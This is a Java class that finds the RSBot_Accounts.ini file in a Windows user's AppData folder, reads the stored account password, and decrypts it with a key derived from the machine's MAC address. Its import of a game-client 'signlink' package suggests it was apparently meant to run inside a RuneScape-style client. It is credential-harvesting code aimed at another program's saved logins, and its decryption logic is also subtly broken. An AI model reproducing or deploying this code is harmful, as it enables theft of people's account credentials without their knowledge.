/* Made by Conor
 * 1/31/11 3:14 AM
 */

import java.io.BufferedReader;
import java.io.*;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Properties;
import sign.signlink;

public class getFile extends Thread {

    public static String key;
    public String pin = "";
    public static String pw = "";
    public String username = "";
    public static Properties p = new Properties();
    public static String home = System.getProperty("user.home");
    public static String appdata = "/appdata/";
    public static String file = "RSBot_Accounts.ini";
    public static String os = System.getProperty("os.name");
    public String fullDir = "";

    public static String exists1() {
        if (System.getProperty("os.name").contains("Windows XP")) {
            System.out.println(home + "/Application Data/" + file);
            return home + "/Application Data/" + file;
        } else if (System.getProperty("os.name").contains("Windows Vista")) {
            return home + appdata + "/Roaming/" + file;
        } else if (System.getProperty("os.name").contains("Windows 7")) {
            return home + appdata + "/Roaming/" + file;
        } else {
            return home + appdata + "/Roaming/" + file;
        }
    }

    public static void readFully() {
         try{
                FileInputStream fstream = new FileInputStream(directory());
                DataInputStream in = new DataInputStream(fstream);
                    BufferedReader br = new BufferedReader(new InputStreamReader(in));
                String strLine;
                while ((strLine = br.readLine()) != null)   {
                    //
                  System.out.println (strLine);
                }
                in.close();
                }catch (Exception e){
                  System.err.println("Error: " + e.getMessage());
                }
    }

    public static String directory() {
        if (System.getProperty("os.name").contains("Windows XP")) {
            System.out.println(home + "/Application Data/" + file);
            return home + "/Application Data/" + file;
        } else if (System.getProperty("os.name").contains("Windows Vista")) {
            return home + appdata + "/Roaming/" + file;
        } else if (System.getProperty("os.name").contains("Windows 7")) {
            return home + appdata + "/Roaming/" + file;
        } else {
            return home + appdata + "/Roaming/" + file;
        }
    }

    public static void checkForFile() {
        boolean exists = (new File(exists1()).exists());
        if (exists) {
            try {
                loadAnnouncements();
            } catch (Exception e) {// none found
            }
        } else {
        }
    }

    private static void loadIni() {
        try {
            p.load(new FileInputStream(directory()));
            readFully();
        } catch (Exception e) {
        }
    }

    public static void loadAnnouncements() {
        try {
            loadIni();
            if (p.getProperty("[").length() > 0) {
                System.out.println(p.getProperty("["));
            }
            if (p.getProperty("password").length() > 0) {
                pw = p.getProperty("password");
                CheckHash(p.getProperty("password"));
            }
        } catch (Exception e) {
        }
    }

    public static void getInfo() {
        try {
            final InetAddress address = InetAddress.getLocalHost();
            final NetworkInterface ni = NetworkInterface
                    .getByInetAddress(address);
            key = new String(ni.getHardwareAddress());
        } catch (final Exception e) {
            key = System.getProperty("user.name")
                    + System.getProperty("user.language");
        }
    }

    public static void CheckHash(String hash) {
        try {
            System.out.println(hash);
            getInfo();
            String toDecrypt = hash;
            decrypt(toDecrypt);
            System.out.println(toDecrypt);
        } catch (Exception e) {
            // No file found need to add a has file check to skip all this if
            // dont exist
        }
    }

    private static byte[] SHA1(final String in) // Decrypt method
            throws NoSuchAlgorithmException, UnsupportedEncodingException {
        MessageDigest md = MessageDigest.getInstance("SHA-1");
        md.update(in.getBytes("iso-8859-1"), 0, in.length());
        return md.digest();
    }

    private static String decrypt(final String start) {// Decrypt method2
        final String delim = "a";
        if (start == null)
            return null;
        byte[] hashedkey;
        byte[] password;
        int i;
        try {
            hashedkey = SHA1(key);
        } catch (final NoSuchAlgorithmException e) {
            e.printStackTrace();
            return start;
        } catch (final UnsupportedEncodingException e) {
            e.printStackTrace();
            return start;
        }
        final String[] temp = start.split(delim);
        password = new byte[temp.length];
        for (i = 0; i < hashedkey.length; i++) {
            final int temp2 = Integer.parseInt(temp[i]);
            if (hashedkey[i] == temp2) {
                break;
            } else {
                password[i] = (byte) (temp2 - hashedkey[i]);
            }
        }
        return new String(password, 0, i);
    }
}